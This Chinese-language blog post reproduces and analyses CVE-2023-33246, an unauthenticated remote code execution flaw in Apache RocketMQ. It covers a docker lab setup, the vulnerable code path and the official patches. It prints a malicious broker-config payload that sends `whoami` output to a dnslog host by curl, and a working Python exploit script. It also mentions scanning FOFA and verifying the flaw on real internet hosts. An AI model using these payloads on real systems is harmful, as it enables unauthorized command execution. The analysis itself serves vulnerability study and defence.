工作过程中有涉及到此漏洞,故抽空看了一下,于是有了这篇复现分析笔记。这个漏洞大概是五月下旬爆出的,前期并没有太多具体细节和利用工具。不过近日发现,该漏洞的EXP也被公开了一段时间了。
- 一是框架协议通信过程中未进行身份验证、协议内容明文传输;
- 二是框架后端调用敏感函数前未对参数进行安全检查;
RocketMQ整体架构图:
RocketMQ框架是阿里巴巴集团控股有限公司旗下的一款开源的高性能、高吞吐量的分布式消息中间件。后由阿里巴巴捐赠给Apache软件基金会,成为Apache的一个顶级项目Apache RocketMQ,官网为http://rocketmq.apache.org/。RocketMQ框架由Java语言开发,尤其在电商领域提供了极高的并发支持和较广业务支撑,例如,可服务于互联网电商企业的注册、订单、库存、物流等业务,以及秒杀活动、周年庆、定期特惠等峰值时刻。
- NameServer节点/集群:用于运维管理,如路由注册等。
- Broker节点/集群:用户核心的消息订阅发送逻辑。
- Producer是消息数据的产生方,向消息服务器发送消息;
- Consumer是消息的接收处理方。
- Console节点用于提供Web管理界面(可扩展选项)。
Apache RocketMQ版本 < 5.1.1
3.1 环境搭建
本地复现环境配置:https://github.com/yizhimanpadewoniu/CVE-2023-33246-Copy
docker pull镜像报错的解决方案:https://www.cnblogs.com/lvzhenjiang/p/14949722.html
# 启动namesrv
docker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv /bin/bash
# 启动broker
docker run -dit -p 10908:10908 -p 10911:10911 --name mqbroker --restart=always --link mqsrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /home/rocketmq/rocketmq-4.9.1/conf/broker.conf
# 启动console
docker run -dit --name mqconsole -p 8080:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0
看到console的web界面就算搭建成功了
这里用GitHub上的开源EXP:https://github.com/SuperZero/CVE-2023-33246
利用DNS外带,可以查看到命令执行的结果
反弹shell成功,获得broker节点的控制权限
以console页面的RocketMq-console-ng作为指纹,fofa上扫一波,随机抽样验证了漏洞存在。
对EXP的攻击流量抓包分析,发现EXP与目标系统做了两次TCP交互。第一次交互是和NameSever(9876端口),第二次交互是和Broker(10911端口)
在第一次交互中,攻击者仿冒Console去访问NameSever(9876端口),然而通信前并没有进行身份验证,并且通信数据明文传输。
搜索关键词code,在org.apache.rocketmq.common.protocol.RequestCode中发现code=105的对应定义
查看变量引用,定位到getRouteInfoByTopic(ctx, request)方法分析,第一次交互应该是获得注册Broker的路由信息(如IP、端口等)和配置信息。
在第二次交互中,攻击者仿冒NameServer与Broker通信(10911端口),依然没有进行身份验证和加密传输
可以看到这次交互的请求体中不仅包括了json,还接了一段body:
filterServerNums=1
rocketmqHome=-c $@|sh . echo curl http://`whoami`.7w10nq.dnslog.cn;
发现进行的是code=25的操作,作用应该是更新Broker的配置,查看引用,定位到updateBrokerConfig(ctx, request)方法
跟进org.apache.rocketmq.broker.processor.AdminBrokerProcessor#updateBrokerConfig,可以看到在更新配置属性之前,主要是字符串编码处理以及转化为转键值对属性,并未对输入进行安全检查。
继续跟进update方法可以看到,对所传入的待更新的配置属性,只检查属性名是否是Broker内置的,否则对于未知属性名进行不更新,没有进行其他安全检查。
基于类模式过滤是指在 Broker 端运行 1 个或多个消息过滤服务器( FilterServer ),RocketMQ 允许消息消费者自定义消息过滤实现类并将其代码上传到 FilterServer 上,消息消费者向 FilterServer 拉取消息, FilterServer 将消息消费者的拉取命令转发到Broker,然后对返回的消息执行消息过滤逻辑,最终将消息返回给消费端,相当于加了FilterServer作为中间人。
既然EXP特意去启用了RocketMQ的filterServer机制,那么或许就是漏洞触发的条件,查看变量引用
继续回溯getFilterServerNums()方法的调用,定位到org.apache.rocketmq.broker.filtersrv.FilterServerManager#createFilterServer,这里看到FilterServer创建过程中会调用FilterServerUtil.callShell()执行命令。
跟进FilterServerUtil.callShell(),发现它以空格为分隔符,将命令字符串分割成字符串数组,然后直接给到Runtime.getRuntime().exec()中去执行,那么我们如果能够控制传入的参数shellstring,就能够RCE
回到createFilterServer中,可以看到cmd是由buildStartCommand()初始化得到的,所以跟进该方法
那么怎么才能触发createFilterServer方法呢,查看调用,发现start方法,内部重载了run方法,每隔一段时间就执行一次
继续往上回溯调用,定位到org.apache.rocketmq.broker.BrokerController#start
继续回溯,定位到org.apache.rocketmq.broker.BrokerStartup#start,可以发现Broker只要启动运行,就会自动执行start方法,而start方法中如果检测到启动了FilterServer机制,则会自动触发createFilterServer方法。
那么一切就顺理成章了,RCE漏洞触发链为:
org.apache.rocketmq.broker.BrokerStartup#main
org.apache.rocketmq.broker.BrokerStartup#start
org.apache.rocketmq.broker.BrokerController#start
org.apache.rocketmq.broker.filtersrv.FilterServerManager#start
java.lang.Runnable#run
org.apache.rocketmq.broker.filtersrv.FilterServerManager#createFilterServer
org.apache.rocketmq.broker.filtersrv.FilterServerManager#buildStartCommand
org.apache.rocketmq.broker.filtersrv.FilterServerManager#createFilterServer
org.apache.rocketmq.broker.filtersrv.FilterServerUtil#callShell
java.lang.Runtime#exec(java.lang.String[])
我们再看一下EXP给的jar包,简单调试一下,看一下思路
但是这里最后拼接处的命令有点迷,我们进入容器查看rocketmq的broker日志,以之前打反弹shell的payload为例
不是很明白为什么选择用sh -c $@|sh . echo开头?直接以sh -c也行吧,要执行的命令之间用t之类的做分隔符,这样就不会被splitShellString方法分割。例如:
import socket, binascii
client = socket.socket()
client.connect(('127.0.0.1', 10911))
json = '{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1nnamesrvAddr=127.0.0.1:9876nrocketmqHome=-c curlthttp://xx.dnslog.cn #'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8')) / 2)
part1 = '00000000' + str(hex(json_lens))[2:]
all_lens = int(4 + len(binascii.hexlify(body).decode('utf-8')) / 2 + json_lens)
part2 = '00000000' + str(hex(all_lens))[2:]
data = part2[-8:] + part1[-8:] + binascii.hexlify(json).decode('utf-8') + binascii.hexlify(body).decode('utf-8')
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
- RocketMQ框架中节点间的重要交互过程未进行身份验证,内容明文传输
- RocketMQ框架后端调用敏感函数前未对参数进行安全检查
另外,CVE-2023-33246这个漏洞其实算是二合一,在官方的第一次补丁中 (https://github.com/apache/rocketmq/pull/6733/files#diff-fc0edd1ba06fb909a87fc13193e0b55eb5ad3a7eef4a524bb34f1496b2326a50),可以发现ban了一些其他属性:
- brokerConfigPath
- configStorePath
- kvConfigPath
- configStorePathName
在官方的第二次补丁(https://github.com/apache/rocketmq/pull/6749/files#diff-90b2c9df4cdd6dacc2cbccf461d3677f4fc0b83a209b055e9ad27729bffe646e)中,直接移除了filter server的相关模块,也就是针对Runtime exec的链子的修复
- https://xz.aliyun.com/t/12589#toc-5
- http://www.lvyyevd.cn/s/about/
- https://blog.csdn.net/jdhellfire/article/details/131009358
- https://github.com/SuperZero/CVE-2023-33246
网络空间安全与法治协同创新中心
工具获取回复“burp”“awvs”“nessus”“ladon”"Forfity"等可以。
原文始发于微信公众号(WIN哥学安全):【漏洞复现】Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论